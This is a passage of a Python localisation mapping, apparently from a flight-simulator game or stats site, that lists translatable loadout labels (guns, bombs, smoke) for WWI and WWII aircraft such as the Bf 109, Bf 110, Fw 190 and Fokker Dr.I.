'M2.50 AP [400]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 500 lb GP [8]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 1000 lb MC [4]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 1000 lb MC [2], 500 lb GP [4]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 e-7': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG FF/M AP/HE [120]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG FF/M AP/HE [120], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG FF/M AP/HE [120], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 f-2': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/15 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/15 AP/HE [200], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/15 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 50 [4]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 250 [1]'), 6: pgettext_lazy('aircraft_payload', 'Empty'), 7: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 f-4': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], MG 151/15 AP/HE [270]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [470]'), 5: pgettext_lazy('aircraft_payload', 'Empty'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 g-14': { 0: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], SD 70 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [470]'), 4: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], 21cm WGr.42 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], 21cm WGr.42 [2]'), 6: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], 21cm WGr.42 [2]'), 7: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], 21cm WGr.42 [2]'), 8: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65]'), 9: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SD 70 [4]'), 10: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SC 250 [1]'), 11: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], MG 151/20 AP/HE [270]'), 12: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], 21cm WGr.42 [2]'), 13: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], 21cm WGr.42 [2]'), 14: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], 21cm WGr.42 [2]'), 15: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], 21cm WGr.42 [2]'), 16: pgettext_lazy('aircraft_payload', 'Empty'), 17: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 25: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 26: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 27: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 28: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 g-2': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [470]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 g-4': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1000], MG 151/20 AP/HE [470]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 g-6': { 0: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200]'), 1: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [200], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MG 151/20 AP/HE [470]'), 4: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65]'), 5: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SC 50 [4]'), 6: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SC 250 [1]'), 7: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], MG 151/20 AP/HE [270]'), 8: pgettext_lazy('aircraft_payload', 'Empty'), 9: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 109 k-4': { 0: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65]'), 1: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SC 250 [1]'), 2: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], SC 500 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [600], MK 108 HE [65], MG 151/20 AP/HE [270]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 110 e-2': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 250 [2]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 250 [2], SC 50 [4]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 50 [12]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 500 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 500 [2], SC 50 [4]'), 6: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 1000 [1]'), 7: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 1000 [1], SC 250 [1]'), 8: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG FF/M AP/HE [360], SC 1000 [1], SC 50 [4]'), 9: pgettext_lazy('aircraft_payload', 'Empty'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bf 110 g-2': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 250 [2]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 250 [2], SC 50 [4]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 50 [12]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 500 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 500 [2], SC 50 [4]'), 6: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 1000 [1]'), 7: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 1000 [1], SC 250 [1]'), 8: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [750], SC 1000 [1], SC 50 [4]'), 9: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [1150]'), 10: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], MG 151/20 AP/HE [1150], SC 50 [4]'), 11: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], BK 3.7 AP [66]'), 12: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], BK 3.7 AP [66], SC 50 [4]'), 13: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], BK 3.7 HE [66]'), 14: pgettext_lazy('aircraft_payload', 'MG 17 AP [4000], BK 3.7 HE [66], SC 50 [4]'), 15: pgettext_lazy('aircraft_payload', 'Empty'), 16: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 24: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 25: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 26: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 27: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bristol f2b (f.ii)': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582]'), 2: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], 24 lb Cooper [12]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], 24 lb Cooper [8], H.E.R.L. 112 lbs [2]'), 4: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], H.E.R.L. 112 lbs [4]'), 5: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], H.E.R.L. 112 lbs [2]'), 6: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], 24 lb Cooper [12]'), 7: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], 24 lb Cooper [8], H.E.R.L. 112 lbs [2]'), 8: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], H.E.R.L. 112 lbs [4]'), 9: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], H.E.R.L. 112 lbs [2]'), 10: pgettext_lazy('aircraft_payload', 'Empty'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'bristol f2b (f.iii)': { 0: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973]'), 1: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582]'), 2: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], 24 lb Cooper [12]'), 3: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], 24 lb Cooper [8], H.E.R.L. 112 lbs [2]'), 4: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], H.E.R.L. 112 lbs [4]'), 5: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], H.E.R.L. 112 lbs [2]'), 6: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], 24 lb Cooper [12]'), 7: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], 24 lb Cooper [8], H.E.R.L. 112 lbs [2]'), 8: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], H.E.R.L. 112 lbs [4]'), 9: pgettext_lazy('aircraft_payload', 'Vickers Mk.I AP [973], Lewis gun AP [582], H.E.R.L. 112 lbs [2]'), 10: pgettext_lazy('aircraft_payload', 'Empty'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fokker d.vii': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Empty'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fokker d.viif': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Empty'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fokker dr.i': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 2: pgettext_lazy('aircraft_payload', 'Empty'), 3: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 5: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fw 190 a-3': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 500 [1]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], MG FF/M AP/HE [120]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], MG FF/M AP/HE [180]'), 6: pgettext_lazy('aircraft_payload', 'Empty'), 7: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fw 190 a-5': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 500 [1]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], MG FF/M AP/HE [180]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [1000]'), 6: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 50 [4]'), 7: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 50 [8]'), 8: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 250 [1], SC 50 [4]'), 9: pgettext_lazy('aircraft_payload', 'MG 17 AP [1800], MG 151/20 AP/HE [500], SC 500 [1], SC 50 [4]'), 10: pgettext_lazy('aircraft_payload', 'Empty'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fw 190 a-8': { 0: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780]'), 1: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], SD 70 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], SC 500 [1]'), 4: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], 